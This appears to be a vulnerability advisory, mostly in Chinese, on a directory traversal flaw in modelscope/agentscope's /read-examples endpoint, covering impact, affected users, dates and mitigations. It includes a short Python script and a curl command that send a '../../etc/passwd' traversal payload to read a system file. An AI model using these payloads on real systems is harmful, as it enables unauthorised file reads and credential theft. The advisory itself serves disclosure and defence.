modelscope/agentscope 中的目录遍历漏洞

攻击者利用此目录遍历漏洞，可以读取服务器上的任意 JSON 文件。这些文件可能包含配置信息、API 密钥、数据库连接字符串或其他敏感数据。成功利用此漏洞可能导致信息泄露、权限提升，甚至可能导致对服务器的进一步控制。由于该漏洞允许读取任意文件，因此其影响范围可能相当广泛，取决于服务器上存储的 JSON 文件的内容。该漏洞的利用方式类似于其他目录遍历漏洞，攻击者通过在文件路径中插入诸如 '../' 之类的特殊字符来绕过访问控制。

Organizations using modelscope/agentscope in their Python applications, particularly those deploying it in environments where sensitive data is stored as JSON files, are at risk. This includes developers integrating agentscope into their AI workflows and those using it in shared hosting environments where file system access might be less restricted.

• python / server:

import requests

url = 'http://your-target-server/read-examples'
payload = {'file': '..//../../../../etc/passwd'}

response = requests.post(url, data=payload)

if 'root:' in response.text:
    print('Potential vulnerability detected!')
else:
    print('No vulnerability detected.')

• generic web:

curl -X POST http://your-target-server/read-examples -d 'file=../../../../etc/passwd' | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. 已保留2024-09-06
2. 发布日期2025-03-20
3. 修改日期2025-10-15
4. EPSS 更新日期2026-04-02

由于该漏洞影响的是 modelscope/agentscope 的所有版本，建议用户尽快升级到最新版本以修复此漏洞。如果无法立即升级，可以考虑采取以下缓解措施：首先，限制对 /read-examples 端点的访问，只允许授权用户访问。其次，实施严格的文件访问控制，确保应用程序只能访问其需要的文件。第三，使用 Web 应用程序防火墙 (WAF) 或代理服务器来过滤恶意请求，阻止包含目录遍历字符的请求。最后，定期审查服务器上的 JSON 文件，确保它们不包含敏感信息。